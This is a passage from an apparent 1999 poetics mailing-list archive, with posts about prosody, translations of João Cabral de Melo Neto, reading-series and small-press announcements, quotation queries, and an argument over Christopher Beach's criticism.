and i don't mean to be too argumentative on this score but i would like to say that i think that i am at least am generally rational and, with certain qualifications, in *favor* of reason --- that is i just don't buy the division of us up into rational/irrational ---- with anything called rational meant to be about as immediate as a tax return and as evocative as an hour long lecture on deduction begining and ending with socrates as a mortal --- but even logic is a lot more interesting and loose (yes, i said loose) if one spends a bit of time with it --- peirce's third type of inference "abduction" (also called "retroduction") which encompasses hunches and guesses and intuitions in a framework where one can actually talk about them rather than ushering them behind the curtain, dimming the lights and playing unconscious theme music one more time

i'd rather see poetry as "the language art" (antin's phrase) and thus potentially encompassing all the things you mention above including that which it does

seem that you still wish, if not to exclude, to deal with less; "rational _____" (pick yr designation)

and here is a sonnet that i've composed as a coda to this whole business --- may it sooth the hearts of many

> iamb, iamb dactyl anapest iamb
> trochee trochee? iamb anapest iamb
> anapest anapest iamb, dactyl anapest.
> trochee, trochee, iamb dactyl iamb.
>
> anapest iamb dactyl iamb anapest,
> trochee iamb trochee dactyl anapest?
> dactyl iamb trochee iamb iamb,
> iamb iamb. iamb trochee iamb.
>
> trochee? trochee. iamb anapest iamb
> anapest iamb dactyl iamb anapest
> trochee iamb anapest iamb iamb
> iamb iamb iamb trochee iamb
>
> sondheim raphael raphael sondheim iamb
> raphael sondheim raphael sondheim iamb

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339. Alan Sondheim

Re: trochee, anapest (was "within/without" poetry)

Fri 22 Oct 1999

I'm tempted to write, did He who made the iamb make thee? But I'm not sure where that goes.

On a more serious note, if you noticed, I never used the word "irrational" or create a binary opposition as such; I was referring to nothing more than the use of prose or prosaic or ordinary language such as this, in relation to other forms which might also problematize such language, your sonnet being an example.

Alan

Internet Text at http://www.anu.edu.au/english/internet_txt Partial at http://lists.village.virginia.edu/~spoons/internet_txt.html Trace Projects at http://trace.ntu.ac.uk/writers/sondheim/index.htm

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340. Charles Bernstein
João Cabral de Melo Neto (1920-1999)
Fri 22 Oct 1999

João Cabral de Melo Neto died last week. He was 79 years old. One of the most important Brazilian poets of the postwar generations, Cabral continues to exert a strong influence on many younger Brazilian poets. He was remembered at a celebration for Haroldo de Campos's seventieth birthday at Yale this past weekend and certainly the two poets suggests the enormous range of Brazilian poetry in the past fifty years. As Régis Bonvincino writes to me about Cabral: "Along with Carlos Drummond de Andrade and Murilo Mendes, Cabral is considered the best poet of Brazilian Poetry born in the 20's."

Cabral's Selected Poetry: 1937-1990 is published by Wesleyan, and includes the well-known translation of his work by Elizabeth Bishop. This afternoon Horacio Costa and I translated two poems of Cabral that I wanted to post to the list, with Régis adding some changes by email to the first.

-- Charles Bernstein

Psychology of Composition (VII)

It's mineral the paper
on which to write
verse; verse
that is possible not to make.

Mineral are
flowers and plants,
fruits, animals
when in a state of words.

Mineral
the horizon line,
our names, those things
made of words.

Mineral, at last,
any book:
because the written
word is mineral, the cold nature

of the written word.

(Tr. Ch.B., H.C. and R.B., based on the published translations of Djelal Kadir.)

****

The Last Poem

I don’t know who sends me poetry
nor whether Who would call it that.

But who who may be, who
that Who (myself, my sweat?),

be it woman, landscape, or the no
that needs fill the void,

to make, for example, the crutch
that I made walk the left soul,

to Whom should be given the inglorious burden
I ask: my last poem

sent, as a poem perverse,
antilyric, made into antiverse.

(Tr. Ch. B. and H.C., based on the published translations of Djelal Kadir.)

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341. Charles Bernstein
Re: up with down!: Correction
Fri 22 Oct 1999

Re: Steve Ellis's second hand story in a recent post:

'tain't so.

Charles

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342. michael corbin
Re: undertaker please drive slow
Fri 22 Oct 1999

---

circle be unbroken

http://www.washingtonpost.com/wp-srv/WPlate/1999-10/22/116l-102299-idx.html http://search.washingtonpost.com/wp-srv/WPlate/1999-10/22/062l-102299-idx.html

byeandbye

mc

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343. aerialedge
Bridge Street Readings
Sat 23 Oct 1999

Fall readings at Bridge Street

October 24 Tina Darragh & Joan Retallack
November 14 Lisa Jarnot & Mark McMorris
November 28 Krupskaya reading: Dan Farrell, Liz Fodaski, & P. Inman
December 5 Carla Harryman

All Sundays @ 8 PM

Bridge Street Books
2814 Pennsylvania Ave NW
Washington, DC

5 blocks from Foggy Bottom Metro, next to Four Seasons in Georgetown. ph [redacted].

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344. Jerrold Shiroma
Small Press Publications List
Sat 23 Oct 1999

This week's Small Press Publications List @ Duration Press is now online.

http://www.durationpress.com

I would like to thank the various publishers whose participation in this project has made it possible, & hope that it is proving valuable to some readers out there.

Jerrold

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345. Ward Tietz
Re: ping pong
Sat 23 Oct 1999

> *ping pong*
> *pong ping pong*
> *ping pong*
>
> *or something like that? Who wrote it? It has been stuck in my head for the last three days and I can't account for its arrival except that I read it somewhere in the last two weeks and it stuck.*

> *Regards,*
> *peter*

It's by Eugen Gomringer.

ping pong
    ping pong ping
    pong ping pong
            ping pong

is the way it goes, I think. You'll find it in Gomringer's "von rand nach innen; die konstellationen 1951-1995." It's also in Mary Ellen Solt's "Concrete Poetry: A World View."

WT

↑ Index

346. Jordan Davis
(won't you take me to) POETRY CITY
Sat 23 Oct 1999

New York's last free reading series invites you
to partake of the hubbub

10 28
Bill Zavatsky
Daniel Kane

11 4
Adeena Karasick
Sam Truitt

11 11 ** BOOK PARTY
Dig and Delve by
Larry Fagin and
Trevor Winkfield
from Granary Books

12 2
Anna van Lenten
Bowman Hastie
Annie Gwynne-Vaughan

12 9
Los Panfleteros
*Jesus Papoleto Melendez
*The Reverend Pedro Pietri

*Stefanie Agosto
*Rodrigo Ernie Ortiz III

12 16
Darlene Gold
Catherine Barnett

12 22 ** BOOK PARTY WEDNESDAY
Midwinter Day by
Bernadette Mayer
reprinted by New Directions

Free
Thursdays at 7 (except for Bernadette)

Teachers & Writers Collaborative
5 Union Square West, 7th Floor
[redacted] . [redacted]

Poetry City is hosted by Jordan Davis and Anna Malmude, and is sponsored by the New York State Council for the Arts.

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347. Maria Damon
ashbery flummox; yo lori emerson
Sat 23 Oct 1999

---

yo lori emerson! i forwarded your msg to my colleague but the attatchment didn't forward. sorry everyone for doing this on POETIX, but i erased lori's msg so don't have her direct address. lori wd you mind e-ing your attatchment directly to [redacted]??? thanks, and thanks to all who responded to the ashbery query

↑ Index

348. Louis Cabri
Jed
Sat 23 Oct 1999

Does anyone have the email address for Jed Rasula?

Thanks very much,
Louis

↑ Index

349. KENT JOHNSON
Poem
Sat 23 Oct 1999

An Admonition
(for Mark Prejsnar and the Atlanta Poetry Group)

F=R=A=M=E=D=P=A=I=N=T=I=N=G=S=I=N=T=H=E=M=O=M=A

↑ Index

350. KENT JOHNSON
Poem #2
Sat 23 Oct 1999

An Old Worrying
(for Alan Sondheim)

Towards what is the earthwork spiralling?

↑ Index

351. Lowther, John
the "biz"
Sat 23 Oct 1999

{ p o e t i x }

stephen ellis wrote;

that the "world"
(of poetry)
seems very much
caught up
in the sense
of itself as
a business

i started thinking again about this and am perhaps getting more confused as i go on --- i've done these magazines and lost heaps of money and have another in the can waiting and waiting and weighing on me that i can't afford to pub it yet --- and i make no money on these things it all goes out really, but that doesnt discount being a business, right ? i mean there are plenty of things we call businesses that lose money so that can't be the dividing line

but maybe it can still ? that is businesses are at least concerned to make money even if they lose it and i never expect to make any ---- or leave the magazine publishing thing behind ---- i don't expect to make any money of being a poet, i

suppose i cd, i cd win a contest and get a book published and win some $ but enough to think of my writing as a business ?

so skip money, maybe what yr saying isnt about cash but clout ? capital in that sense ? where we hope to get pubbed in the chicago review or the gertrude stein awards or win the national poetries series competition b/c "it'll open doors" us ? is that the "business" which you mean ? ---- i'm reminded of something someone told me about going to a reading and the young poet who was reading that night marched up introduced themself to everyone and was later heard to say "I LOVE NETWORKING!" ---- is that the same sort of "business" ?

admittedly, i like meeting poets ---- my trip to LA last year was a blast and i look forward to new orleans next month ---- and i wd be mightily pleased to win the national poetry series and have a bit of hope that my work might get read or find it's way into places it won't if i end up publishing it myself

where does it start being the "business" ? when i start hoping that other contest winners DONT win as it wd affect me negatively ? when i start schmoozing and playing for favor with editors i don't like b/c it wd "do me good" ? i think those things should qualify for the "biz" which i wd wish to combat which it wd suck to step into

but i'm left feeling that while i understand, i think, the thrust of yr statement stephen, and too, see myself the businessy behavior now and again, that i DONT think of poetry as a business or the poetry world as business community ---- that doing so seems somehow a self-blinding

conflictedly

)L

p.s. shit, more *seriousness*

↑ Index

352. **Tom Beckett**

Re: Numbered Suggests (was "This is MY list!")

Sat 23 Oct 1999

In a message dated 10/22/99 10:01:17 AM Eastern Daylight Time, [redacted] writes:

<< I think I smell something up ahead that curiously
resembles absence.
- S E >>

You might be smelling me.

↑ Index

353. Louis Cabri
reading oct. 26
Sat 23 Oct 1999

For the record, this sparsely published poet, Louis Cabri, will be reading in Vancouver, Canada, Oct. 26, 8 pm, at 750 Burrard St (Robson Central) along with Jacqueline Turner. Set your watches.

↑ Index

354. Alan Sondheim
Azure's Love of Jennifer
Sun 24 Oct 1999

-

Azure's Love of Jennifer

"If the 19th century was, and I for one am thoroughly convinced that it was, concerned with origins, then the present century is an era that has increasingly looked for roots. A quest for origins and a search for roots are not the same and not to be confused. The quest for origins focuses on 'whatness,' while the search for roots focuses on 'whoness.' The issue of origins is typically centered around natural ancestry, and Darwin provided the brand name for his age. In contrast, the quest for roots is essential- ly concerned with probing a cultural heritage, defining the fibres of an ethnicity, mapping ideational stratigraphies. The origins issue is charac- teristically a biological matter, while that of roots is generally intel- lectual in scope." (from Thomas Markey, welcome remarks to the Bellagio conference, 1988, When Cultures Collide: The Indo-Europeans and Pre-Indo- Europeans.) Thus said, when I seek for the origin of Jennifer, and I do, I may look no farther than "Jennifer, Where are you?," a resonant film by Leslie Thornton produced in 1981. But I may look likewise to my mother Jennifer Sondheim, my daughter Jennifer Sondheim, my sister Jennifer Sond- heim. I may look to my roots, my cultural heritage among the tribe of Jennifers, who, like the tribe of Alans, wreaked havoc in Europe and the British Isles. For Jennifer is neither root nor rhizome, but bundles and sheaves of tendrils, glistening with moisture, sliding across lovers and bodies, dreams and texts, words pouring out of mouths, tongues sliding in. Think of the beautiful skein of the world in the form of tendril interlac- ings; if the 1970s and 1980s were concerned with grids, the 1990s and 2000s are concerned with tendrils lazily pooling among wetware components, as if there were shudderings across the webs and nets of meristemating roots. Jennifer moves blindly among open cracks, holes, leaks, seepages in the real and the programming of the real; the real moves blindly among her openings as well. When my eyes are closed, when Azure is above me, when my tongue devours her fluids, her skin, the delicacy of her eyes, when

her tongue devours my fluids, my skin, the delicacy of my eyes, it is the uni- cellular layer of Jennifer that coheres the real between us, ensures our return to language. Jennifer is the bruising of the world, its contusions, as one moves clumsily among the things and thoughts of the world.

So how could she be the unicellular layer, tendrils, and bruisings, all at once? Because it is the surface and the inscribing of the surface that ruins the most; and it's the unicellular layer of Jennifer that defines the space between us; and it's the tendrils of Jennifer which unicellular- ly search out the crevices between my lover and myself; and it's the bruising of my skin and breasts and necks that murmurs Jennifer! Jennifer; and it's the unicellular layer of tendrils of Jennifer that mark our his- tory on mattress, sheets, rooms, provinces, and worlds of my love and me; and it's "JENNIFER!" Azure cries in her sleep, her naked body reaching out everywhere in the room, looking for imaginary origins, shattering imagin- ary roots.

M V H N L V .N V . R NL L N L V .V F FL V
L .V F F L R H .N - VH .V F L L L V NV
J 6 %

↑ Index

355. **Louis Cabri**
BOO 7
Sun 24 Oct 1999

Tenney and all,

BOO 7 includes the discussion I organized and transcript I edited with Harryette Mullen, Steve McCaffery, and others. I had invited Harryette up to Calgary to give a talk, a reading, and to participate on a panel in 1996, for which Jeff Derksen and I gave Harryette and Steve ten questions. They did not have time to answer the questions, but they asked their own and the discussion is good.

In any case, Deanna Ferguson, one of the eds of BOO (a mag now defunct), still has plenty copies of #7. She can be reached at [redacted]

If someone wants to put this interview/discussion up on the web, please let me know! I think it's worth doing.

On Mullen (but this info is ca. '97 and I don't have recent), there's also an interview Magee & co. did in Combo 1. Also a Callaloo is devoted to her work. Elizabeth Frost wrote on Mulllen and Stein. I'm sure there's plenty out there by now.

-Louis

↑ Index

356. **Mark Wallace**

Re: generation returns again & again (fwd)

Sun 24 Oct 1999

---------- Forwarded message ----------
Date: Sun, 24 Oct 1999 16:48:00 -0400 (EDT)
From: Mark Wallace <[redacted]>
To: [redacted]
Subject: Re: generation returns again & again

Yes, I have to say that I wish I could be pleased to be quoted by Christopher Beach, but I'm really sorry to be so painfully misunderstood. I'm going to post this note to the UBPoetics List also, just so lots of other people know that I find his generational comments foolish; I hope those of you who already wrote about this issue will do the same, since the UB Poetics List for the most part has been filled with kind words for a book that is so dominated by the rigid hierarchies of the worst kind of academic thinking that it's practically unreadable.

Notice that the first function of Beach's quote is to DICTATE to poets what their critical frame of reference should be, and secondly to take it as a hierarchical given that poetics, in order to be serious, MUST somehow deal directly with hierarchies Beach himself is creating. Never mind, of course, that the introduction to A POETICS OF CRITICISM more directly addresses itself to the problems of cultural studies and thus does not define itself as limited to some "history of poetry," and never mind the fact that the people in it are NOT defined generationally, unless one assumes that Jerome McGann, Bernadette Mayer and some others are "second generation language poets." Clearly, according to Beach we can't be serious UNLESS we write about Hejinian, Silliman, Perelman, etc--for Beach, there simply can be no other poetic issue than language poetry.

His book seems a case in point of the worst kind of politically and literally CONSERVATIVE attempt at canonization, an academic process which Beach wholly and uncritically accepts precisely, one imagines, because that's how he manages to maintain his position in the academic hierarcy which he mistakes for a POETIC hierarchy. Thus the real subtext of the book is how the academic marketplace DEFORMS poetic thinking to meet academic marketplace demands--"here is the field of acceptable poetry to the academy; language poetry can now be defined as academically acceptable; therefore all poetics must speak to it." As usual, of course, this sort of process can only be accomplished by ERASING specific poetries--notice his complete LACK of reference to any specific poetry relative to the "generation" that he himself creates to serve the

fictions of his marketplace. He takes several small critical comments by myself and Steve Evans, purposefully misunderstands their context, and creates a whole generation of poets that he then refuses to mention. That he does this in the name of supposedly promoting the value of avant garde poetry is astonishing--in fact the form of his argument, and the fictional historical fields he creates, would be EXACTLY the same sort of thing that Helen Vendler does with a different set of names. Either way, poets lose.

Look closely at the issue of who the Christopher Beach book serves. He says nothing in it that the so-called language poets didn't say twenty years ago, and he says it more poorly, in the pale academic prose that is the stock and trade of his marketplace. So clearly it's not a book for poets, since we've heard it all before. Is it a book for language poets? Only if their goal is to be canonized, to become part of the future fictions that academic hierarchies will misname literature. Will it even succeed in creating its new academic hierarchy? Perhaps, but I doubt it. Is it a book for other academic critics to respond to and make other careers out of while erasing the actual histories of poems and poets? No doubt. Will it matter much in the history of literature? Mhy guess is that in two years no one will ever read it again.

Mark

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

357. **dunbar1223**
Boo!
Sun 24 Oct 1999

Stella

a.k.a. Karen Scioli
a.k.a. Daughter of Desire
a.k.a. That Maneater from Manayunk

will be hostessing the festivities at
the Halloween Party
Tavern on Camac (243 S. Camac)
Saturday evening, October 30th.
(The party should get into full swing around 10PM,
beginning with a costume contest.)

Don ye now your gay apparel.
No, wait, that's the wrong holiday, isn't it?
Never mind. Just be there.

↑ Index

358. Kathy Lou Schultz
name that quote?
Sun 24 Oct 1999

Hello Poetics,
Another one of my damnable queries. Does anyone recognize the author/source of the following?

"A dominant ideological formation is constituted by a relatively coherent set of 'discourses' of values, representations and beliefs which, realised in certain material apparatuses and related to the structures of material production, so reflect the experiential relations of individual subjects to their social conditions as to guarantee those misperceptions of the 'real' which contribute to the reproduction of the dominant social relations" (54).

To explain myself, this is jotted down on the back of a work-related document from my former job as a legal proofreader, and through the ravages of time it was separated from information about the source (though I have the page number!). At the time I was making rushed trips to the SF Public Library during my closely-monitored lunch hour, and scooping masses of texts off the shelves to read surreptiously between proofreading assignments (and therefore feed my brain and avoid the constant temptation to jump off a bridge). Trying to remember my reading at the time, I know Terry Eagleton was involved (note British spellings).

Please backchannel [redacted]
This will be *very* helpful to me, and I'll send my first-born child or a
copy of Lipstick Eleven to show my gratitude!
^^

Kathy Lou Schultz
Editor & Publisher
Lipstick Eleven/Duck Press
www.duckpress.org

42 Clayton Street San Francisco, CA 94117-1110

↑ Index

359. **juliana spahr**
new from subpress: edwin torres, fractured humorous
Mon 25 Oct 1999

---

the ramifications of this <*inner*> playground
manifest themselves with every fantasy I
denude myself in

now naked in my fracture <*deluded nudist manufactured*>
<*tracked in rapture*> the fracturist
soars above the mend
aware of what needs to meet
to make the heal complete

subpress is very happy to bring you

---------- FRACTURED HUMOROUS
by Edwin Torres

Best known for his traveled-the-world-over performance art, Edwin Torres's
presence in print is unparalleled in its vibrancy. FRACTURED HUMOROUS is
contagious in its energy and humor, stunning in its turns, convincing in
its call to spend less time banking and more time being.

FRACTURED HUMOROUS is a book in five parts with interstices and dazzling
graphics acting as the thread that holds the book together – as well as the
tangents that fracture it. See "TORRESIAN REVELATION: 3-16."

--FRACTURE :: one month / with broken arm in bed--
from "ANIMAL IS POEM":

When animal sees another from its species injured
or on its way out - it clears out…away from what's hurt:
#1. Respect dying wishes.
#2. Avoid getting disease.

When poet reduces mobility from letter to letter > speed reduces
to abstraction of original resolution > finite comparisons
emerge > end = silence > none = all > simplicity = minimal > motion =
e > motive
substance
from wordsmith > unable
to charter new ground = surrounding environment > adapts

to newfound confinement > inability to progress =
circumstantial surroundings.

The possibility to invent is superseded
by the probability of reduction.

--ALASKA :: five days / with poets in snow--
from "SNOW MOUNTAIN":

Backofthroat
boomerang
Echoback
blindaround
Allaround
snow - hear voice
was
I was
frozen
gasping
mountain
huge
I
tiny
shielding
eyes
from sun

was I

alone

inside
my eye

--DIANA :: one day / with sister in boston--
from "VISITING MY SISTER":

10. MARIO ANDRETTI
My sister drives a car
throwing caution to the wind
and then…driving into it.

--ENGLAND :: three weeks / with poets in van--
from "DAV’SSHIDIDDA’NOT’TI (*Hotel room afternoon in England*)":

finalto conclusio xtraganeo festinytown… …perhaps… …destined for wander throughouse

such questious echinaceas… …afternoon’s contagious… …contiguous room number
expatriate confusio… …don’t understand… …they douse… …easier to appropriate
mis-and-anthrope… …pee and ate… …the country’s citizen… …people spice
without developing… …a taste for the cuisine… …a… …howyousay zippy-kumma-kiiya…eh?

--BERLIN :: three days / with pen on mayakovsky lane--
from "THE ARCHITECT OF CHANGE":

Technicolor has a dream…doesn’t include Berlin
Who lives in Black & White
Darkness is a dream to the days of possibility
We are water, thirsting up soil, hungry Black & White grain
Pollinating the center of seperation, the place of all meeting points
Before the ending is handed, before the buck is off’d
Before the hunger dissipates in one fell swoop, one crumbled expanse
wanderlust

We are the night, open-mouthed and waiting, to have our throats stuffed With the stings of leather-clad scorpions, wrecked on stardust

---

---

78 pages
$10 + $2 s/h
orders to [redacted]
payments to subpress
2955 Dole Street
Honolulu, HI 96816

please make checks payable to `A `A Arts

other subpress titles:
CULTURAL EVIDENCE by Catalina Cariaga ($12)
OORT’S CLOUD by John Wilkinson ($15)

also available through Small Press Distribution / www.spdbooks.org

subpress is a collective that is supported by nineteen people who have agreed to donate 1% of their yearly income. Each person is responsible for editing one book every three years. A lottery determined the editing order. Edwin Torres’s

FRACTURED HUMOROUS was published in the first year of the collective. It was chosen by Carol Mirakove.

↑ Index

360. Chris Piuma

flim is a good site for bored office workers, etc.

Mon 25 Oct 1999

[epigraph: Ted Berrigan on poems being "amusing".]

I mean, you're at your desk, it's kinda slow, or you just need to get away, so you do a little web surfing, even though allegedly the folks in IS might be "tracking" every e-move you e-make, but don't they have anything better to do, and anyway this is a pretty harmless site, not like that guy in the cubicle down the way, who's always downloading picture of naked and excessively large-breasted women, even uses them with his screen saver, has no shame, sexist jerk, so what a little web reading anyway?

Read flim.
http://www.flim.com
Short quirky writing, etc.
Updated every weekday.

If you get this message on Monday and you visit, you'll read the endnotes of Charlotte Wells's brilliant dissertation, "Epistemology as divorce: Trends and anti-trends in contemporary studies."

If you click on the link marked "previously" you can read Friday's article, Ron Henry's "Two pieces from Hommage to Darragh". A must for all you fans of Tina Darragh.

A bit before that is a "Rebus" by Lawrence Upton.

And if you go even further back -- well, you'll see, you'll see.

And yes, we are looking for submissions! Short quirky writing, etc. Send it in to [redacted]. It will make the world a better place. No, really.

We are especially looking for sestinas right now. We are thinking about a "sestina week".

(Oh also there are cartoons.)

--
Chris Piuma, etc.
Editor, flim
http://www.flim.com
Short quirky writing, etc.

↑ Index

361. Daniel Kane
POETRY CITY reading series
Mon 25 Oct 1999

The schedule for Jordan Davis's and Anna Malmude's POETRY CITY reading series, held on Thursdays at 7 pm at Teachers & Writers Collaborative, 5 Union Square West, 7th Floor, New York, NY (212/[redacted]), is as follows:

OCTOBER 28
Bill Zavatsky & Daniel Kane

NOVEMBER 4
Adeena Karasick & Sam Truitt

NOVEMBER 11
Book Party for DIG & DELVE by Lary Fagin & Trevor Winkfield

DECEMBER 2
Anna van Lenten, Bowamn Hastie & Annie Gwynee-Vaughan

DECEMBER 9
Los Panfleteros (Jesus Papoleto Melendez, Reverendo Pedro Pietri, Stephanie Agosto & Rodrigo Ernie Ortiz III)

DECEMBER 16
Darlene Gold & Catherine Barnett

WEDNESDAY DECEMBER 22 WEDNESDAY DECEMBER 22
Book Party for MIDWINTER DAY by Bernadette Mayer (reprinted by New Directions)

Admission to all events is free, as are the refreshments.

↑ Index

362. J Kuszai
The Devil's Aria, by Ted Pearson
Mon 25 Oct 1999

New from Meow Press

THE DEVIL'S ARIA by Ted Pearson

"Those who were inspired by the voice of the beast speaking from the confines of mortal innocence in "The Exorcist" will find Ted Pearson's exploration of the dark side of lyric poetry to be an expressive correlative to the present moment."

--Barrett Watten

The Devil's Aria, by Ted Pearson
Meow Press, 1999
6.5 x 5" 32 pg.
$6.00

Available November 1st from Small Press Distribution:
http://www.spdbooks.org

↑ Index

363. **J Kuszai**

Artificial Cinnamon Nation, by Bill Marsh

Mon 25 Oct 1999

New from Meow Press

ARTIFICIAL CINNAMON NATION, a primer, by Bill Marsh

A gift to the muses by one of the worker-bee brethren, parts of Artificial Cinnamon Nation was "constructed from a limited vocabulary comprised of mostly 4letter+ anagrams":

mortal narcotic oat
rictal tonic
anionic cocoa float
in toto lactic

while other parts arc from the luminescence of the aleatoric to the applied science of meaning-making:

teaching creativity
children do not engage;
offering rewards the corporate
culture of decline

Artificial Cinnamon Nation, by Bill Marsh
Meow Press, 1999
6.5 x 5" 28 pg. w/ limited edition color wrappers
$6.00

Available November 1st from Small Press Distribution:
http://www.spdbooks.org

↑ Index

364. Pritchett,Patrick
Lindsay Hill reading at The Attic
Mon 25 Oct 1999

Lindsay Hill will read from his work at The Attic reading series in San Francisco, hosted by John High.

Saturday, November 6, at 5:00pm.

The Attic is located on 24th Street between Mission & Valencia.

Lindsay Hill's most recent book is NDJENFERNO (Vatic Hum). His work has appeared in Sulfur, Caliban, Central Park and many other magazines. He is the publisher and co-editor, with Paul Naylor, of Facture, a new journal of poetry and poetics slated to appear in January 2000.

"It would seem appropriate for these murderous lyrics to be half-spoken, half-sung by a demonic rhythm-and-bluesman in some post-apocalyptic border town. This is a book about that ultimate border between violence and meaning, illuminating the truth of Benjamin's definition of history as an accumulation of wreckage. Hill talks a high-tension lingo stripped of tense and person, denuding & freshly wounding time and subjectivity. Here, each line is a compressed scream, an ecstatic crossing between last & first things, a neo-medieval chorus line of skeletons dancing ..."

- Andrew Joron

↑ Index

365. Poetics List
r e a d m e has moved!!! / Sullivan
Mon 25 Oct 1999

---

this message came to the administrative account. Chris

--

From: Gary Sullivan <[redacted]>
Date: 10/20/99 11:31 AM -0400

Columbia University wasn't, apparently, happy about having an online magazine dedicated to contemporary poetics hanging out on their website. Soooo ... readme is now being housed at:

http://www.jps.net/nada

Thanks, Nada, for the webspace! & thanks, everyone else, for stopping by ...

Gary

↑ Index

366. **Poetics List**
Jackson Mac Low / Kerr
Mon 25 Oct 1999

This message came to the administrative account. Chris

--

From: Douglas Charles Kerr <[redacted]>
Date: 10/23/99 9:09 PM -0700

Greetings,

I am in search of material on and by Jackson Mac Low. There is material here at Stanford but I'm sure that there is work that I can't find. Perhaps this could lead to an annotated bibliography of some sort. My project of the moment is a seminar paper on his Light poems.

How do I make a post?

thanks,

Douglas Kerr

↑ Index

367. **Poetics List**
Re: name that quote?
Mon 25 Oct 1999

Kathy Lou Schultz - the quotation sounds like Althusser but doesn't read like Althusser, if that makes any sense. Eagleton or perhaps Perry Anderson would be a good bet; I could almost see it as Jameson of The Political Unconscious but for the spelling. Chris

> % Christopher W. Alexander
> % poetics list moderator

↑ Index

368. **Brent Long**
Ghazal
Mon 25 Oct 1999

Forgive me, please, if this is a repeated posting...I'm having trouble with my network today. At any rate, I am trying to find a book or essay which details the "true" rules of form for ghazal. Any ideas?

Thanks in advance,

Brent A. Long

↑ Index

369. KENT JOHNSON
Transcultural Experiments
Mon 25 Oct 1999

The following book has just appeared, and I thought it might be of interest to some on the List:

Transcultural Experiments: Russian and American Models of
Creative Communication, by Ellen E. Berry and Mikhail Epstein,
St. Martin's Press.

"Contemporary processes of globalization have led to multiple and complex effects, among them the formation of radical new modes of cutural interaction, transcultural flows, and hybridized knowledges--forms not easily understandable in terms of traditional models of discrete national or ethnic cultures/subcultures. Transcultural Experiments develops new scholarly and creative strategies out of this intersection of cultural traditions, specifically in Russia and the United States. Ellen E. Berry and Mikhail N. Epstein define and enact a transcultural method as an alternative to the legacies of cultural divisions and hegemony that have dominated both Western and Second Worlds. The book introduces a system of original concepts and genres of writing that will help in mapping 21st century global cutlure: "transculture" (vs. multiculturalism), "interference" (vs. difference), "potentiation" (vs. deconstruction), "inteLnet" (vs. internet), ethics of imagination, hyperauthorship, and collective improvisation. The authors make a revolutionary argument in cultural studies that will be of profound interest to anyone concerned with finding new modes of creativity in the humanities, interdisciplinary thinking, and intercultural communication."

Ellen E. Berry is Associate Professor of English and co-chair of the English Department at Bowling Green state University. Her books include Curved Thought and Textual Wandering: Gertrude Stein's Postmodernism; Re-Entering the sign: Articulating New Russian Cultures; and Postcommunism and the Body Politic. Since 1994 she has co-edited the feminist cultural studies journal _Genders_.

Mikhail N. Epstein is Associate Professor in the Department of Rusian and East Asian Languages and Cultures at Emory University. His most recent books published in English are After the Future: Paradozes of Postmodernism and Contemporary Russian Culture and Russian Postmodernism: New Perspectives on Post-Soviet Culture.

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370. jocelyn saidenberg
New American Poetry Reading and Book Party at SPT
Mon 25 Oct 1999

--==========_-1271237875==_ma==========

Reading and Book Party at Small Press Traffic

Friday, October 29, 7:30 p.m.
New American Poetry Book Party

Ebbe Borregaard
Lawrence Ferlinghetti
Barbara Guest
Ron Loewinsohn
Michael McClure
David Meltzer
Mary Clarke Greer and Christopher Wagstaff will read Madeline Gleason's work.

Small Press Traffic and the University of California Press invite you to this historic occasion, the book launch for the re-issue of the original (1960) The New American Poetry 1945-60, the "singlemost influential poetry anthology of the post-World War II period" (Alan Golding). Tonight, some of the original New American poets will come and read from their work-Ebbe Borregaard, Lawrence Ferlinghetti, Barbara Guest, Ron Loewinsohn, Michael McClure, David Meltzer. We hope to lure NAP's reclusive and revered editor Donald M. Allen out from his Diamond Heights lair. In addition, the late Madeline Gleason will be represented by her executor, Mary Clarke Greer, and by her editor, Christopher Wagstaff (who has completed a new edition of Gleason's Selected Poems, published by Talisman House).

New College Theater
777 Valencia Street, San Francisco
$5

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110
415/[redacted]
www.sptraffic.org
--==========_-1271237875==_ma==========

<fontfamily><param>Palatino</param><bigger><bigger>Reading and Book Party at Small Press Traffic

Friday, October 29, 7:30 p.m.

<italic>New American Poetry </italic>Book Party

Ebbe Borregaard

Lawrence Ferlinghetti

Barbara Guest

Ron Loewinsohn

Michael McClure

David Meltzer

Mary Clarke Greer and Christopher Wagstaff will read Madeline Gleason's work.

Small Press Traffic and the University of California Press invite you to this historic occasion, the book launch for the re-issue of the original (1960) <italic>The New American Poetry 1945-60,</italic> the "singlemost influential poetry anthology of the post-World War II period" (Alan Golding). Tonight, some of the original New American poets will come and read from their work-Ebbe Borregaard, Lawrence Ferlinghetti, Barbara Guest, Ron Loewinsohn, Michael McClure, David Meltzer. We hope to lure NAP's reclusive and revered editor Donald M. Allen out from his Diamond Heights lair. In addition, the late Madeline Gleason will be represented by her executor, Mary Clarke Greer, and by her editor, Christopher Wagstaff (who has completed a new edition of Gleason's <italic>Selected Poems,</italic> published by Talisman House).

New College Theater

777 Valencia Street, San Francisco

$5</bigger></bigger></fontfamily>

Small Press Traffic Literary Arts Center

766 Valencia Street

San Francisco, CA 94110

415/[redacted]

www.sptraffic.org

--==========_-1271237875==_ma==========--

↑ Index

371. Lowther, John
boys (& girls) in the band
Mon 25 Oct 1999

---

thomas
dorrow { p o e t i x }

re are reading the ~same~ list arent we ?

you write;

"These threads (...) about a kind of "the boys in the band"-style regionalism and demographic query totally ignoring that this list is not only read or used by Americans, border upon the same issue for me."

and i'd like to point out a couple small things here ----- everybody talks about how the internet might bring people that don't know one another together, right? ----- that seems true enough at times ---- in that i now have frequent email contact with a new friend in australia with folks all over the u.s. with some in canada and a guy in brazil and if i were to list all the contacts that have bloomed and then faded or just not gone anywhere i cd list a lot of other places outside of the u.s.

but So What ?

i asked about demographics as i've heard so many people assert (based on what evidence i have no clue) that the majority of the poetix list participants were localized in NYC and SF ---- so my pposting about demographics was simply to ask if there was any info and then in specifiying the south (where i live if it aint obvious) was that i thought it wd be a damned shame if it turned out that there was another poet or poets on this list whose aquaintence and perhaps friendship i might have who cd be --- god knows right here in atlanta or just in georgia or perhaps along the dull stretch of I-85 between here and my family's home in NC

i hope to go to europe next year and wd like to meet poets there too, and prior to any such trip will probably post something similra about areas that i'm likely to visit ---- will you post again then to pin me down as some other boy in some other band ? (undoubtedly earo-pop, no ???)

)L

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372. Patrick Herron

on sondheim, on raphael, on expression (OR, in defense of reading)

Mon 25 Oct 1999

> *a collapsing of meaningful distinctions in favor of a rhetoric of dismissive . . . bemusement*

